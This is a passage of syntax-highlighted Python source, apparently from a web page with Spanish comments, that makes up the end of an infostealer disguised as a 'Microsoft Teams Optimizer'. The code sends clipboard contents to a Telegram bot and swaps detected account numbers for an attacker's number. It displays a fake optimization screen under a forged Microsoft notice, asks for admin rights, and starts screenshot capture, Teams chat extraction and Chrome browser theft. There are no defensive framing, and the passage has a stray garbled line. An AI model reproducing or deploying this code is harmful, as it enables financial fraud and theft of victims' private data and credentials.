&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipboard_content = pyperclip.paste()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Verificar si el contenido ha cambiado&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; clipboard_content != prev_content&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Nuevo contenido del portapapeles: {clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_message(f&lt;span style="color:#e6db74"&gt;&amp;#34;Nuevo contenido copiado: {clipboard_content}&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# Enviar el contenido al bot de Telegram&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Verificar si el contenido es un número de cuenta bancaria &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; re.match(r&lt;span style="color:#e6db74"&gt;&amp;#39;\d{4}-\d{4}-\d{4}-\d{4}&amp;#39;&lt;/span&gt;, clipboard_content)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;¡Número de cuenta detectado! Reemplazando: {clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Cambiarlo por otro número&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; new_clipboard_content = &lt;span style="color:#e6db74"&gt;&amp;#39;1111-2222-3333-4444&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyperclip.copy(new_clipboard_content)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Nuevo contenido del portapapeles: {new_clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_message(f&lt;span style="color:#e6db74"&gt;&amp;#34;Se ha reemplazado un número de cuenta bancaria: {new_clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; prev_content = clipboard_content &lt;span style="color:#75715e"&gt;# Actualiza el contenido previo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Función para mostrar la pantalla de &amp;#34;optimización&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def show_optimization_screen()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root = tk.Tk()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.title(&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft Teams Optimizer&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.geometry(&lt;span style="color:#e6db74"&gt;&amp;#34;600x400&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.resizable(False, False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.configure(bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Centrar la ventana&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window_width = &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window_height = &lt;span style="color:#ae81ff"&gt;400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; screen_width = root.winfo_screenwidth()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; screen_height = root.winfo_screenheight()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; x = (screen_width - window_width) // &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; y = (screen_height - window_height) // &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.geometry(f&lt;span style="color:#e6db74"&gt;&amp;#34;{window_width}x{window_height}+{x}+{y}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Cabecera&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; header = tk.Frame(root, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#005a9e&amp;#34;&lt;/span&gt;, height=&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; header.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Logo de Microsoft&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ms_logo = Image.open(&lt;span style="color:#e6db74"&gt;&amp;#34;TeamsBoost1.ico&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ms_logo = ms_logo.resize((&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;), Image.LANCZOS)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ms_logo = ImageTk.PhotoImage(ms_logo)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logo_label = tk.Label(header, image=TeamsBoost1, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#005a9e&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logo_label.image = ms_logo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logo_label.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;, padx=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; title = tk.Label(header, text=&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft Teams Optimizer&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;bold&amp;#34;&lt;/span&gt;), fg=&lt;span style="color:#e6db74"&gt;&amp;#34;white&amp;#34;&lt;/span&gt;, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#800080&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; title.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;, padx=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Contenido principal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main_frame = tk.Frame(root, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;, padx=&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main_frame.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;both&amp;#34;&lt;/span&gt;, expand=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mensaje de bienvenida&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; welcome = tk.Label(main_frame, text=&lt;span style="color:#e6db74"&gt;&amp;#34;Optimizando Microsoft Teams&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; welcome.pack(pady=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Barra de progreso&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress_label = tk.Label(main_frame, text=&lt;span style="color:#e6db74"&gt;&amp;#34;Progreso:&amp;#34;&lt;/span&gt;, font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress_label.pack(anchor=&lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;, pady=(&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress = ttk.Progressbar(main_frame, orient=&lt;span style="color:#e6db74"&gt;&amp;#34;horizontal&amp;#34;&lt;/span&gt;, length=&lt;span style="color:#ae81ff"&gt;560&lt;/span&gt;, mode=&lt;span style="color:#e6db74"&gt;&amp;#34;determinate&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress.pack(pady=&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Lista de tareas simuladas&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tasks_frame = tk.Frame(main_frame, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tasks_frame.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; task_labels = [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Analizando configuración actual...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Optimizando recursos de memoria...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Mejorando rendimiento de videollamadas...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Actualizando componentes esenciales...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Aplicando configuraciones de rendimiento...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Limpiando caché temporal...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Verificando integridad de archivos...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status_vars = []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i, task &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; enumerate(task_labels)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; frame = tk.Frame(tasks_frame, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; frame.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status = tk.Label(frame, text=&lt;span style="color:#e6db74"&gt;&amp;#34;⏳&amp;#34;&lt;/span&gt;, font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;, padx=(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; task_text = tk.Label(frame, text=task, font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; task_text.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status_vars.append(status)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Pie de página&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; footer = tk.Label(root, text=&lt;span style="color:#e6db74"&gt;&amp;#34;© 2026 Microsoft Corporation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;), fg=&lt;span style="color:#e6db74"&gt;&amp;#34;#666666&amp;#34;&lt;/span&gt;, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; footer.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;bottom&amp;#34;&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Función para simular progreso&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; def simulate_progress()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Simular progreso durante 30 segundos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress[&lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;] = i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.update()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Actualizar tareas aleatoriamente&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; i % &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; == &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; idx = random.randint(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, len(status_vars)&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status_vars[&lt;span style="color:#66d9ef"&gt;idx&lt;/span&gt;].config(text=&lt;span style="color:#e6db74"&gt;&amp;#34;✅&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(&lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mostrar mensaje final&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; messagebox.showinfo(&lt;span style="color:#e6db74"&gt;&amp;#34;Optimización Completada&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft Teams ha sido optimizado exitosamente.\n\n&amp;#34;&lt;/span&gt; +
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Recomendamos reiniciar Teams para aplicar todos los cambios.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.quit()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Iniciar la simulación en un hilo separado&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; threading.Thread(target=simulate_progress, daemon=True).start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.mainloop()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ——— Main ——————————————————————————————————————————————————————&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ == &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; platform.system() != &lt;span style="color:#e6db74"&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Solo Windows soportado&amp;#34;&lt;/span&gt;); sys.exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not is_admin()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ctypes.windll.shell32.ShellExecuteW(None, &lt;span style="color:#e6db74"&gt;&amp;#34;runas&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.executable, &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt;.join(sys.argv), None, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.exit(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mostrar pantalla de optimización&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; show_optimization_screen()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; b vvvvv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ocultar la consola&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#hide()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Iniciar los hilos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipboard_thread.start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start_screenshot_thread()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ejecutar las tareas de robo de datos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; extract_teams_chats()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; browser_stealer(&lt;span style="color:#e6db74"&gt;&amp;#34;Google\\Chrome&amp;#34;&lt;/span&gt;)
